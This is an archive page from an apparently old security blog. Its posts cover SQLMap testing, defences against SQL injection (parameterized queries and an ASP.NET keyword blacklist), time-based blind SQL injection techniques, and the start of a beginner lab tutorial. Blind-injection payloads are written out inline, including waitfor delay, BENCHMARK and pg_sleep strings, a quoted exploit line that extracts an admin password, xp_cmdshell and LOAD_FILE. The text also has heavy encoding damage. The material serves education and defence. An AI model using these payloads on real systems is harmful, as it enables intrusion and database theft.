Archive for the ‘ SQL Hacking’ Category

SQL Hacking How to use SQLMap…

0 Comments

Scenario

Let’s say that you are auditing a web application and found a web page that accepts dynamic user-provided values on GET or POST parameters or HTTP Cookie values or HTTP User-Agent header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application’s back-end database management system or even be able to access the underlying operating system.

Consider that the target url is:

http://192.168.1.121/sqlmap/mysql/get_int.php?id=1

Assume that:

http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1

is the same page as the original one and:

http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2

differs from the original one, it means that you are in front of a SQL injection vulnerability in the id GET parameter of the index.php web application page which means that no IDS/IPS, no web application firewall, no parameters’ value sanitization is performed on the server-side.

Reference: http://sqlmap.sourceforge.net/doc/README.html

SQL Hacking Defending against SQL injections

1 Comment

Importance SQL injection

According to a 2006 report from Fortify Software, the top 3 software security vulnerabilities are:

1. Cross-Site Scripting (21.5%)
2. SQL Injection (14.0%)
3. PHP includes (9.5%)[1]

The impact of SQL injection attacks

1) Gathering of sensitive data to manipulating database information.

2) Executing system level commands to denial of service of the application

The impact also depends on the database on the target machine and the roles and privileges the SQL statement is running with. Basically there are two types of SQL injections, the First Order Attacks and the Second Order Attacks. The outcome of first order SQL injection attack is immediate, and we commonly refer to that type of attack as SQL injection attacks. The second order SQL injection is an attack that takes into consideration the web application logic and tries to find how someone can use to an SQL query to cause similar damage using not show obvious means (e.g. SQL inject the cookie!). For example, if user input is stored in a database by using one ASP page, and then the user input is retrieved from the database and is used to construct dynamic SQL statements in a different ASP page, an attacker can inject SQL commands into an SQL statement and then misuse it. This is generally known as a Second Order SQL injection vulnerability. [5]

In First Order Attacks, the attacker can simply enter a malicious string and cause the modified code to be executed immediately. In the Second Order Attacks The attacker injects into persistent storage (such as a table row) which is deemed as a trusted source and the attack is subsequently executed by another activity.

When dealing with SQL injection issues, the following three things should be taken into consideration:

1) User input filtering (black and white listing for first order SQL injections).

2) User output filtering (black and white listing for second order SQL injections).

3) User privilege attributes (for limited access to database functionality).

White listing versus Black listing

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. White listing can be a very effective means of enforcing strict input validation rules compared to black listing.[2] Because when you do white listing you are allowing only the characters your application can use to pass through. But when you are doing black listing you have to constantly update your black list with all new malicious input found (e.g. detect all possible input based the database provided functionality).

Parameterized SQL statements

In order to talk about parameterized SQL statements, someone has to understand what a parameterized stored procedure and a parameterized prepared statement. Both Stored Procedures and prepared statements are compiled and cached by the database and? that is why it reduces the processing burden on the client.

Parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:[2]

1) Target fields that are not quoted
2) Find ways to bypass the need for certain escaped meta-characters
3) Use stored procedures to hide the injected meta-characters

In VB. NET you can create a safe parameterized select statement using the following API:

<%@ import Namespace=”System.Data” %>
<%@ import Namespace=”System.Data.SqlClient” %>
<%@ Import Namespace=”System.Web.Security” %>
<%@ Import Namespace=”System.Text.RegularExpressions.Regex” %>

A code example would be something like that:

Sub LoginBtn_Click(ByVal Sender As Object, ByVal E As EventArgs)

Dim passwordFormatMatch As Match = Regex.Match(UserName.Text, “[a-zA-Z][0-9]“)

Dim connectionString As String = “Provider=Microsoft.Jet.OLEDB.4.0; Ole DB Services=-4; Data Source=E:\mydb\test.mdb”

Dim dbConnection As System.Data.IDbConnection = New System.Data.OleDb.OleDbConnection(connectionString)

Dim queryString As String = “SELECT [Users].[Usernames], [Users].[Passwords] FROM [Users] WHERE (([Users].[Usernames] = @Usernames) AND ([Users].[Passwords] = @Passwords))”

Dim dbCommand As System.Data.IDbCommand = New System.Data.OleDb.OleDbCommand
dbCommand.CommandText = queryString
dbCommand.Connection = dbConnection

Dim dbParam_usernames As System.Data.IDataParameter = New System.Data.OleDb.OleDbParameter
dbParam_usernames.ParameterName = “@Usernames”
dbParam_usernames.Value = UserName.Text
dbParam_usernames.DbType = System.Data.DbType.[String]
dbCommand.Parameters.Add(dbParam_usernames)

Dim dbParam_passwords As System.Data.IDataParameter = New System.Data.OleDb.OleDbParameter
dbParam_passwords.ParameterName = “@Passwords”
dbParam_passwords.Value = UserPass.Text
dbParam_passwords.DbType = System.Data.DbType.[String]
dbCommand.Parameters.Add(dbParam_passwords)

dbConnection.Open()

Dim dataReader As System.Data.IDataReader =? dbCommand.ExecuteReader(System.Data.CommandBehavior.CloseConnection)

Prepared Statements

1. Instances of PreparedStatement contain an SQL statement that has already been compiled. This is what makes a statement “prepared.”[6]

2. The SQL statement contained in a PreparedStatement object may have one or more IN parameters. An IN parameter is a parameter whose value is not specified when the SQL statement is created. Instead, the statement has a question mark (”?”) as a placeholder for each IN parameter. The “?” is also known as a parameter marker. An application must set a value for each question mark in a prepared statement before executing the prepared statement.[6]

Stored procedures

Stored procedures are implemented differently from database to database. For simplicity when referring to stored procedures we will mean Microsoft SQL Server 2000 stored procedures. A stored procedure is a group of Transact-SQL statements compiled into a single execution plan[7], and can provide customized granular access control, based on privileges of the user? account accessing the database.

That is a code example:

IF (@QuantityOrdered < (SELECT QuantityOnHand
                  FROM Inventory
                  WHERE PartID = @PartOrdered) )
   BEGIN
   -- SQL statements to update tables and process order.
   END
ELSE
   BEGIN
   -- SELECT statement to retrieve the IDs of alternate items
   -- to suggest as replacements to the customer.
   END

Code example [7]

In SQL Server version 6.5 and earlier, stored procedures were a way to partially precompile an execution plan. At the time the stored procedure was created, a partially compiled execution plan was stored in a system table. Executing a stored procedure was more efficient than executing an SQL statement because SQL Server did not have to compile an execution plan completely, it only had to finish optimizing the stored plan for the procedure. Also, the fully compiled execution plan for the stored procedure was retained in the SQL Server procedure cache, meaning that subsequent executions of the stored procedure could use the precompiled execution plan.[7]

Stored procedures Versus Prepared Statements

Prepared Statements pros:

1. Prepared Statements are some sort of precomputed SQL queries and are always type-safe. That is the reason why Prepared Statements are always not vulnerable to SQL injection.

2. Don’t tie you in to a particular database vendor if you write portable SQL code.

Prepared Statements cons:

1. Prepared Statements do not provide customized access control based on user privileges.

Stored procedures pros

1. Stored procedures can provide customized access control based on user privileges.

Stored procedures cons

1. Stored procedures are not always safe from SQL injection, only parameterized stored procedures are safe from SQL injection.

2. Do tie you in to a particular database vendor by splitting the web application business logic into both the web application and the database.

Single point of failure (SPF)

Handling SQL injections only as an input validation issue is wrong. Trying to make sure that you are clean from SQL injections by filtering user inputs introduces a bad security practice called single point of failure and gives you a false sense of security. Now depending on the current situation you might not have to use white listing and black listing at the same time or might not be able use both for various reasons.

To make it more clear, if you have a multi tier web application you can set up different filters into different tires (by using the term tier I mean different machines or software layers, e.g. one filter for the web application server and one filter for the database server). The following diagram is self explanatory:

What is a filtering?

It gets a little confusing to completely understand what is filtering. A filter generally speaking can only do three things:

1) Remove characters (e.g. Look for “‘ or 1=1 –” character patterns).

2) Replace characters (e.g. replace ‘ with ”).

3) Encode characters (e.g. Similar to XSS encoding).

Now when we are talking about black list filtering we mean that you must have a specified list of character patterns that you want to cut off (e.g. ‘ or 1=1 –, ‘ or 9=9 — e.t.c) or have a list of illegal characters that you want to cut off (e.g. –,=,+ e.t.c).White listing is the opposite , which means that you must have a set of allowed characters that you can forward to the web application without causing any security issues.

When and why?

You can use white listing and black listing at the same time when your white list must allow some characters that can be used to create unwanted character patterns. For example you web application must allow the single quote, the equal sign, the dash character and numerical values (meaning ‘,1,= and -), but cannot allow to create a single quote , or one equals one dash dash, meaning the ‘ or 1=1 — character pattern.

Examples:

User input –> ‘ or 1=1 — (White listing) –> OK –> (Black listing) –> Blocked (bad character pattern)

User input –> ” or 1=1 — (White listing) –> Blocked (bad character “)

Some real world examples (ASP .NET 1.1)

Included in this post are VB.NET samples that can be used to screen incoming query-string, form and cookie values for potential Sql injection values. However because valid input data varies from website to website, it is not possible to write a one-size-fits-all screening mechanism. You can modify the sample code included in this post to tighten or loosen the character sequences as appropriate for your website. [3]

Also as a reminder, if a website makes heavy use of dynamically constructed Sql (as opposed to parameterized Sql or parameterized stored procedures) it is a best practice to escape all single quotes contained in un-trusted web input. Since it is not possible to make this replacement using the HttpModule/BeginRequest approaches shown below, you can instead scrub a website’s code and perform the escaping in all places where dynamic Sql is being built.[3]

//C# snippet
private string SafeSqlLiteral(string inputSQL)
{
  return inputSQL.Replace("'", "''");
}

You can screen all incoming query-string, form and cookie values by running code during the BeginRequest event. A central location to register this code is in a website’s global.asax file. The sample code below will check incoming data and automatically redirect to a page called “Error.aspx” if suspicious character sequences are found.[3]

First you will need to add a new namespace import at the top of your global.asax file:

<%@ Import namespace="System.Globalization" %>

Next place the following variable definition and private function somewhere in your global.asax file between the <script> tags:

    //Defines the set of characters that will be checked.
    //You can add to this list, or remove items from this list, as appropriate for your site
    public static string[] blackList = {"--",";--",";","/*","*/","@@","@",
                                         "char","nchar","varchar","nvarchar",
                                         "alter","begin","cast","create","cursor","declare","delete","drop","end","exec","execute",
                                         "fetch","insert","kill","open",
                                         "select", "sys","sysobjects","syscolumns",
                                         "table","update"};

    //The utility method that performs the blacklist comparisons
    //You can change the error handling, and error redirect location to whatever makes sense for your site.
    private void CheckInput(string parameter)
    {
        CompareInfo comparer = CultureInfo.InvariantCulture.CompareInfo;

        for (int i = 0; i < blackList.Length; i++)
        {
            if (comparer.IndexOf(parameter,blackList[i],CompareOptions.IgnoreCase) >= 0)
            {
                //
                //Handle the discovery of suspicious Sql characters here
                //
                Response.Redirect("~/Error.aspx");  //generic error page on your site
            }
        }
    }

You then need to register the HttpModule with ASP.NET.

If you are running ASP.NET 2.0 on IIS6, or ASP.NET 2.0 on IIS7 in Classic Mode, place the bolded module registration shown below inside of the system.web/httpModules section:

<system.web>
     ?€¦
     <httpModules>
          ?€¦
          <add name="SampleSqlInjectionScreeningModuleCS" type="Sample.SampleSqlInjectionScreeningModuleCS"/>
          ?€¦
     </httpModules>
     ?€¦
</system.web>

However if you are running ASP.NET 2.0 on IIS7 in Integrated Mode, you instead need to place the bolded module registration shown below inside of the system.webServer/modules section:

<system.webServer>
     ?€¦
     <modules>
          ?€¦
          <add name="SampleSqlInjectionScreeningModuleCS" type="Sample.SampleSqlInjectionScreeningModuleCS" preCondition="managedHandler"/>
          ?€¦
     </modules>
     ?€¦
</system.webServer>

Lastly place the following function definition somewhere in your global.asax file between the <script> tags. This is the function definition that tells ASP.NET to run string checks during the BeginRequest event. If your global.asax file already has a function called Application_BeginRequest, you should instead place the contents of the function definition below into your existing version of Application_BeginRequest.[3]

    void Application_BeginRequest(object sender, EventArgs e)
    {
        foreach (string key in Request.QueryString)
            CheckInput(Request.QueryString[key]);
        foreach (string key in Request.Form)
            CheckInput(Request.Form[key]);
        foreach (string key in Request.Cookies)
            CheckInput(Request.Cookies[key].Value);
    }

Conclusion

When you have a system in production it is everyone responsible to maintain secure the web application system. If you have multiple security defenses then the web application can remain secure even lots of modifications have been made to the system.

Reference [1]:http://st-curriculum.oracle.com/tutorial/SQLInjection/html/lesson1/les01_whylearnit.htm

Reference [2]: http://www.owasp.org/index.php/SQL_injection

Reference [3]: http://forums.asp.net/t/1254125.aspx

Reference [4]: http://www.iec-usa.com/Browse05/GLSS.html

Reference [5]: http://support.microsoft.com/kb/954476

Reference [6]: http://java.sun.com/j2se/1.5.0/docs/guide/jdbc/getstart/preparedstatement.html

Reference [7]:? http://msdn.microsoft.com/en-us/library/aa174792.aspx#sql:stored_procedure

SQL Hacking Blind SQL injections for dummies

0 Comments

Introduction

This article describes how attackers take advantage of SQL Injection vulnerabilities by using time-based blind SQL injection with heavy queries. Our goal is to highlight the need for establishing secure development best practices for Web applications instead of relying only on the security provided by the perimeter defenses. This article shows exploit examples for Microsoft SQL Server and Microsoft Access database, MySQL and PostgreSQL engines, but the present technique is applicable to any other database product in the market.[10]

The definition

SQL injection is a technique that exploits a Security vulnerability" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/edit.php?paged=2');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');" href="http://en.wikipedia.org/wiki/Security_vulnerability">security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.[11]

The first references

The first references to ?€?blind attacks?€ can be found in Chris Anley?€™s June 2002 paper ?€?(More) Advanced SQL Injection?€ [1], in which he calls attention to the possibility of creating such attacks — in this specific case, time-based, one of the less common. Chris gives some examples of blind SQL injection techniques:[10]

<<?€??€??€??€??€??€? if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay ‘0:0:5′
?€¦it is possible to determine whether a given bit in a string is ‘1′ or ?€™0?€™.That is, the above query will pause for five seconds if bit ‘@bit’ of byte ‘@byte’ in string ‘@s’ is ‘1.’

For example, the following query:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay ‘0:0:5′

Will pause for five seconds if the first bit of the first byte of the name of the current database is 1.[10]

As these examples show, the information is extracted from the database using a vulnerable parameter. Code is then injected to generate a delay in response time when the condition is true.[10]

After the first reference

After this first reference, blind SQL injection techniques continued to be studied with most techniques generating error messages from the attack system, because of the simplicity, quick execution, and extension of showing an error message versus delaying the database. One year later, in September 2003, Ofer Maor and Amichai Shulman published the paper ?€?Blindfolded SQL Injection?€ [2]. Here, they analyze different ways to identify a vulnerable parameter on a SQL Injection system, even when the information processed and returned by the system is not visible.

At the 2004 BlackHat Conference, Cameron Hotchkies presented his paper ?€?Blind SQL Injection Automation Techniques?€ [3]. He proposed alternative methods to automate the exploitation of a Blind SQL Injection vulnerable parameter, using different custom tools. He suggested three different solutions for the automation: (1) Searching for keywords on positive and negative results; (2) Using MD5 signatures to discriminate positive and negative results; (3) Using textual difference engine. He also introduced SQueal, an automatic tool to extract information through Blind SQL Injection, which evolved later to another tool called Absinthe [4].

In September 2005, David Litchfield published the article ?€?Data Mining with SQL Injection and Inference?€ [5], where he discussed the time-based inference techniques, and proposed other ways to obtain time delays using calls to stored procedures, such as xp_cmdshell on MS SQL Server to do a ping.

xp_cmdshell ?€?ping ?€“n 10 127.0.0.1?€™ ?†’ application paused 10 seconds.

Time-based techniques can be extended to any action performed by a stored procedure and able to generate a time delay or any other measurable action.

In December 2006, Ronald van den Heetkamp published the ?€?SQL Injection Cheat Sheet?€ [6], including Blind SQL Injection tricks for MySQL with some examples based on benchmark functions that can generate time delays. For instance:

SELECT BENCHMARK(10000000,ENCODE(’abc’,'123′)); [around 5 sec]
SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec]
Example: SELECT IF( user = ‘root’, BENCHMARK(1000000,MD5( ‘x’ )),NULL) FROM login

A recent exploit [7], published in June 2007 at http://www.milw0rm.com (a Web site dedicated to exploits and security) shows how this technique could be used to attack a game server called Solar Empire:

??$sql=”F***You’),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, “.$j.”, 1)) =”.$i.”) & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*”;

As the studies of the time-based Blind SQL Injection techniques are moving forward, some new tools have been created, such as SQL Ninja [8], which uses the Wait-for method for Microsoft SQL Server engines, or SQL PowerInjector[9], which implements the Wait-for method for Microsoft SQL Server Database engines, Benchmark functions for MySQL engines, and an extension of the Wait-for method for Oracle engines, using calls to DBMS_LOCK methods.

Real world examples

  • On October 26, 2005, Unknown Heise readers replaced a page owned by the German TV station ARD which advertised a pro-RIAA sitcom with Goatse using SQL injection[3]
  • On November 01, 2005, A high school student used a SQL injection to break into the site of a Taiwanese information security magazine from the Tech Target group and steal customer’s information.[4]
  • On January 13, 2006, Russian hackers broke into a Rhode Island government web site and allegedly stole credit card data from individuals who have done business online with state agencies.[5]
  • On March 29, 2006, Susam Pal discovered an SQL injection flaw in an official Indian government tourism site.[6]
  • On March 2, 2007, Sebastian Bauer discovered an SQL injection flaw in the knorr.de login page.[7]
  • On June 29, 2007, Hacker Defaces Microsoft U.K. Web Page using SQL injection. [8][9]. U.K. website The Register quoted a Microsoft spokesperson acknowledging the problem.
  • On August 12, 2007, The United Nations web site was defaced using SQL injection.[10]
  • In May 2008, a server farm inside China used automated queries to Google’s search engine to identify SQL server websites which were vulnerable to the attack of an automated SQL injection tool. [11][13]
  • In May 2008, discussion groups covering identity theft problems faced by Lifelock’s president exploited an SQL Injection vulnerability in Lifelock’s server that would result in yearly membership for $0.00. [14]

Identifying SQL Injection Vulnerable Parameters

To better understand how this is done, it is important to understand the basic types of data in SQL. SQL fields can normally be classified as one of three main types: Number, String or Date. Each main type has many different flavors, but these are irrelevant for the injection process. Each parameter transferred from the web application to the SQL query is considered as one of these types, and it is usually very simple to determine the type (’abc’ is obviously a string, whereas 4 is likely to be an number, although it must be considered as a string as well).[2]

In the SQL language, numeric parameters are passed to the server as is, whereas strings or dates are passed with quotes around them. For example:[2]

SELECT * FROM Products WHERE ProdID = 4

vs.

SELECT * FROM Products WHERE ProdName = ‘Book’

The SQL server, however, does not care what type of an expression it receives, as long as it is indeed of the relevant type. This behavior gives the attacker the best way of identifying whether an error is indeed an SQL one or unrelated. With numeric values, the easiest way to handle this is by using basic arithmetic operations. For instance, let’s look at the following request:[2]

/myecommercesite/proddetails.asp?ProdID=4

Testing this for SQL injection is very simple. One attempt is done by injecting 4′ as the parameter. The other is done using 3 + 1 as the parameter. Assuming this parameter is indeed passed to an SQL request, the result of the two tests will be the following two SQL queries:[2]

(1) SELECT * FROM Products WHERE ProdID = 4′
(2) SELECT * FROM Products WHERE ProdID = 3 + 1

The first one will definitely generate an error, as this is bad SQL syntax. The second, however, will execute smoothly, returning the same product as the original request (with 4 as the ProdID), indicating that this parameter is indeed vulnerable to SQL injection.[2]

A similar technique can be used for replacing the parameter with an SQL syntax string expression. There are only two differences. First, string parameters are held inside quotes, so breaking out of the quotes is necessary. Secondly, different SQL servers use different syntax for string concatenation. For instance, Microsoft SQL Server uses the + sign to concatenate string, whereas Oracle uses || for the same task. Other than that, the same technique is used. For instance:[2]

/myecommercesite/proddetails.asp?ProdName=Book

Testing this for SQL injection involves replacing the ProdName parameter, once with an invalid string such as B’, the other with one that will generate a valid string expression, such as B’ + ‘ook (or B’ || ‘ook with Oracle). This results with the following queries:[2]

(1) SELECT * FROM Products WHERE ProdName = ‘Book”
(2) SELECT * FROM Products WHERE ProdID = ‘B’ + ‘ook’

Again, the first query is likely to generate an SQL error, while the second is expected to return the same product as the original request, with Book as its value.[2]

Similarly, any other expression can be used to replace the original parameters. Specific system functions can be used to return either a number, a string or a date (for instance, in Oracle, sysdate returns a date expression, whereas in SQL Server getdate() does the same task). Other techniques can also be used to determine whether SQL injection occurs.[2]

As can be seen, identifying whether SQL injection occurs is a very simple task even without detailed error messages, allowing the attacker to easily continue with the attack.[2]

Detecting in MySQL blind SQL injection issues

SELECT IF(1=1,’true’,'false’)

IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))

IF (SELECT * FROM login) BENCHMARK(1,SELECT USER())

Important note for CONCAT:Returns the string that results from concatenating the arguments.
May have one or more arguments. If all arguments are non-binary strings, the result is a
non-binary string. If the arguments include any binary strings, the result is a binary string.
A numeric argument is converted to its equivalent binary string form; if you want to avoid that,
you can use an explicit type cast.

SELECT CONCAT(’vari’,'able’)
SELECT CONCAT(”vari”,”able”)

Important note for CONCAT_WS: CONCAT_WS() stands for Concatenate With Separator and is a special
form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator
is added between the strings to be concatenated. The separator can be a string, as can the rest of
the arguments. If the separator is NULL, the result is NULL.

SELECT CONCAT_WS(’,',’My’,NULL,’Variable’)

SELECT CONCAT_WS(’,',’My’,NULL,’Variable’)

Interesting functions (semicolons don’t count):

SELECT USER()

SELECT VERSION()

SELECT NOW()

SELECT SYSDATE()

Interesting select queries (requesting for constants) that return integers:

SELECT NULL

SELECT @NULL

SELECT @@auto_increment_increment

SELECT @@hot_cache.key_buffer_size

SELECT @@cold_cache.key_cache_block_size

SELECT @@hot_cache.key_buffer_size

SELECT @@hot_cache.key_cache_block_size

SELECT @default

For length limitation we can use the keyword LIKE and request system variables:

SHOW VARIABLES LIKE ‘auto_inc%’;

SHOW VARIABLES LIKE ‘key_buffer%’

SHOW VARIABLES LIKE ‘key%’

SHOW VARIABLES LIKE ‘k%’

SHOW VARIABLES LIKE ‘_%’

SHOW VARIABLES LIKE “_%”

Creating constants and requesting constants:

SET @MY_VAR=’Test’

SELECT @MY_VAR

SET GLOBAL hot_cache.key_buffer_size = 4

Important note for LOWER and UPPER: LOWER() (and UPPER()) are ineffective when applied to binary strings (BINARY, VARBINARY, BLOB):

SELECT UPPER(’variable’)

SELECT UPPER(”variable”)

SELECT LOWER(’variable’)

SELECT LOWER(”variable”)

SELECT LOWER(USER())

SELECT UPPER(USER())

SELECT UPPER(VERSION())

SELECT LOWER(VERSION())

Important note for LOAD_FILE(file_name):Reads the file and returns the file contents as a string. To use this function,the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.

If the file does not exist or cannot be read because one of the preceding conditions is not satisfied, the function returns NULL.As of MySQL 5.0.19, the character_set_filesystem system variable controls interpretation of filenames that are given as literal strings.

UPDATE table

SET blob_col=LOAD_FILE(’/tmp/picture’)

WHERE id=1;

Detecting in MS SQL Server blind SQL injection vulnerabilities

Using true/false and waitfor statements:

IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

if (select user) = ’sa’ waitfor delay ‘0:0:10′

Variable = 1;waitfor delay ‘0:0:10′–

Variable =1);waitfor delay ‘0:0:10′–

Variable =1′;waitfor delay ‘0:0:10′–

Variable =1′);waitfor delay ‘0:0:10′–

Variable =1));waitfor delay ‘0:0:10′–

Variable =1′));waitfor delay ‘0:0:10′–

Variable = 1;waitfor delay ‘0:0:0.51′–

Variable =1);waitfor delay ‘0:0:0.51′–

Variable =1′;waitfor delay ‘0:0:0.51′–

Variable =1′);waitfor delay ‘0:0:0.51′–

Variable =1));waitfor delay ‘0:0:0.51′–

Variable =1′));waitfor delay ‘0:0:0.51′–

Var+ ‘ ‘ +iable

Using system variables:

SELECT @@VERSION

SELECT @@VERSION

SELECT @@VERSION

Time and day functions:

SELECT MONTH(’03/12/1998′)

SELECT DAY(’03/14/1999′)

SELECT GETUTCDATE()

SELECT YEAR(’03/12/1998′)

Detecting in PostgreSQL blind SQL injection vulnerabilities

Using the pg_sleep function:

SELECT pg_sleep(10);

Detecting in Oracle blind SQL injection vulnerabilities

Using the concat function:

concat(’Var’, ‘iable’);

Detecting in IBM DB2 blind SQL injection vulnerabilities

Conclusion

The best defense against SQL injection is to apply comprehensive input validation, use a parameterized API, and never to compose query strings on an ad-hoc basis. In addition, a strong SQL Server lock down is essential, incorporating strong passwords.[1]

Although awareness of SQL injection is increasing, many products and bespoke applications are still vulnerable; from this we infer that SQL injection is likely to be around for a long time to come. It is worth investing the time to fully understand it.[1]

Reference [1]: ?€?(more) Advanced SQL Injection?€ by Chris Anley, NGS Software

URL: http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

Reference [2]: ?€?Blindfolded SQL Injection?€ by Ofer Maor and Amichai Shulman, Imperva

URL: http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html

Reference [3]: ?€?Blind SQL Injection Automation Techniques?€ by Cameron Hotchkies, BlackHat Conferences

URL: https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf

Reference [4]: ?€?Absinthe?€ by Cameron Hotchkies, 0×90.

URL: http://www.0×90.org/releases/absinthe/download.php

Reference [5]: ?€?Data Mining with SQL Injection and Inference?€ by David Litchfield, NGS Software

URL: http://www.ngssoftware.com/research/papers/sqlinference.pdf

Reference [6]: ?€?SQL Injection Cheat Sheet?€ by Ronald van den Heetkamp, 0×000000

URL: http://www.0×000000.com/?i=14&bin=1110

Reference [7]: ?€? Solar Empire Exploit?€ by Blackhawk. Milw0rm.

URL: http://www.milw0rm.com/exploits/4078

Reference [8]: ?€??€¦a SQL Server Injection & takeover tool?€¦ ?€ by icesurfer, SQLNinja

URL: http://sqlninja.sourceforge.net

Reference [9]: ?€?SQL PowerInjector?€ by Francois Larouche, SQL PowerInjector

URL: http://www.sqlpowerinjector.com

Reference [10]:http://technet.microsoft.com/en-us/library/cc512676.aspx

Reference [11]: http://en.wikipedia.org/wiki/SQL_injection

SQL Hacking SQL Injection for dummies…

1 Comment

Introduction

The purpose of this article is to help people without advanced computer knowledge to start white hacking and learn how to write more secure login web pages. When I started to learn about security, even though I searched really hard, I did not manage to find articles that would tell me from scratch what to do in order to learn how SQL query injection works.

In fact for some strange reason almost none will actually explain you exactly what an SQL query injection is and how is that you can exploit a database using an SQL query injection.So based on these thoughts I decided to write this article, explaining in great detail how to create your own testing environment and perform SQL query injections (using your own machine, well not exactly).

The prerequisites for successfully repeating the experiment are:

1. VMWare Workstation 6.x (you do not have to use a vm machine but I recommend it).
2. Knowledge of ASP (create DSN-less Database Connection and handling html form data).
3. ASP Studio 2005 (you can download that at http://en.ewebxp.com/).
4. IIS 5.1 (Internet Information Services).
5. MSDE 2000 Release A (Microsoft SQL Server Desktop Engine 2000).
6. MDAC 2.x (Microsoft Data Access Components).
7. Know how to write html (mostly forms).
8. Internet browser (both Internet Explorer or Firefox will do).

IIS Installation & Configuration

In order to install IIS5.1 you need the WindowsXP CD and go:

Start->Control Panel->Add or Remove Programs->Add/Remove Windows Components->IIS5.1

For configuring IIS5.1 you have to create you own testing Web Site you go:

Start->Control Panel->Administrative Tools->IIS->Default Site(right click)->New->Virtual Directory

And then you go for Alias, give a name that represents your needs, and then define a Directory that your ASP page is located.Then you go and right click on the icon of your testing web site and go for properties and set them just like you see in the image below (this is not a secure IIS configuration).

Configuration1: Configuring Virtual Directory properties.

IIS2

Configuration2: Configuring Directory Security.

MS SQL Server Installation & Configuration

Download from Internet the setup executable file, install data base, start running and then
go:

Start ->Run ->cmd (this will start command prompt)

And then type osql -U sa (for system administrator), give password (the default is blank!).
And then type again from command prompt:

1> CREATE TABLE users (userName varchar (10) , password varchar (10))
2> go

1> INSERT INTO users(userName,password) VALUES (value1,value2)
2> go

This will create a table to the database named master, you make sure of it if you do a:

1>use master
2> go

Now! you have a database named master and a table called user with two columns named userName and password.If you want to know more about SQL queries you can use www.sqlzoo.net to run your queries.

Building up the system

The system we are going to use is described below by the image.
Example 1
Example1: Testing environment used to perform the experiment.

Now when you are actually trying to perform an SQL injection, what you do is trying to manipulate the SQL query in order to either gain access to a web site or download a database. We have two sub attacks generally speaking, the login page attack and the database download attack (or drop attack). In the first attack we want to create a query that bypasses the authentication mechanism forcing the database to return a positive reply (I will explain later what that positive reply is!! ).In the second attack we use the first query to build a second more sophisticated query to create a drop query (if we want to cause a Dos attack) or download the database (and make use of the data).

Why does a database return errors? Well it is simple, because your SQL query is forwarded from your Web application directly into your database (at least most of the time) through your html login web form.What I mean is described with the image below.

Example 2
Example2:
What is actually forwarded to the database.

